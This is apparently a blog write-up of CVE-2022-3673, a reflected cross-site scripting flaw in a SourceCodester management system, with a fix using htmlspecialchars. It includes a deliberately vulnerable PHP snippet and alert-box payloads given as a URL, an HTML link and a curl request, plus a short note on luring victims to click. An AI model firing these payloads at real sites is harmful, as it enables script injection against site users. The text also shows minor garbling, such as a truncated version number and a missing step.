Security vulnerabilities can often hide in plain sight, waiting to be discovered by either curious researchers or malicious attackers. In today's write-up, we're going to look closely at CVE-2022-3673, a notable cross-site scripting (XSS) issue in the widely used SourceCodester Sanitization Management System 1.. We'll break down how the bug happens, share real exploit details, and discuss ways to stay safe.
What Is CVE-2022-3673?
CVE-2022-3673 is a cross-site scripting (XSS) flaw found in the Master.php file of SourceCodester's Sanitization Management System. The vulnerability exists because the system fails to sanitize user-supplied input correctly, specifically in the message argument. This means attackers can inject malicious scripts that run in the browsers of users who view certain pages.
Vulnerability Type: Cross-site Scripting (XSS)
- Location: /php-sms/classes/Master.php (function unknown)
Input Vector: Message argument via HTTP request
- CVE Identifier: CVE-2022-3673
- VulDB Reference: VDB-212016
How the Vulnerability Works
Web applications commonly use parameters supplied in URL queries or form data. If these inputs are displayed without proper validation or escaping, attackers can inject JavaScript or HTML code to execute in another user's browser. This is classic XSS.
In this case, the message parameter is directly handled in Master.php
// Simplified sample logic in Master.php
<?php
$message = $_REQUEST['message'];
echo $message; // Direct output without escaping!
?>
Because $message is echoed directly, any content sent to this parameter will be rendered in the user's browser—including scripts!
The attacker creates a link that sends a script through the message parameter. For example
http://victim-site.com/php-sms/classes/Master.php?message=<script>alert('XSS')</script>;
When a victim clicks the link, the server responds with
<script>alert('XSS')</script>
This causes a popup alert in the victim's browser.
2. Send or Post the Link
The attacker might send the link to a target via email, social media, or even public forums, enticing them to click it.
Here’s a proof-of-concept you can use for testing (with permission)
<!-- Send this GET request to proof the XSS -->
<a href="http://victim-site.com/php-sms/classes/Master.php?message=<script>alert('XSS')</script>;" target="_blank">Click Me</a>
Or, in curl
curl 'http://victim-site.com/php-sms/classes/Master.php?message=<script>alert(1)</script>';
CVE-2022-3673 was responsibly disclosed and documented in these databases
- NVD official entry
- VulDB (VDB-212016)
- SourceCodester project
So far, no official patch from the project author is listed publicly.
Instead of directly echoing user data, wrap it with htmlspecialchars
<?php
$message = $_REQUEST['message'];
echo htmlspecialchars($message, ENT_QUOTES, 'UTF-8');
?>
Conclusion
CVE-2022-3673 reminds us how even a small oversight, like unsanitized input, can lead to big risks. Always check and escape user content—don't trust anything! If you use SourceCodester Sanitization Management System or similar scripts, review your code and upgrade or patch as soon as possible.
References
- NVD: CVE-2022-3673
- VulDB: VDB-212016
- SourceCodester: Sanitization Management System 1.
If you’ve found a vulnerability, always report it responsibly. And if you have questions about coding securely, keep learning—that’s the most powerful patch of all.
Timeline
Published on: 10/26/2022 17:15:00 UTC
Last modified on: 10/28/2022 17:45:00 UTC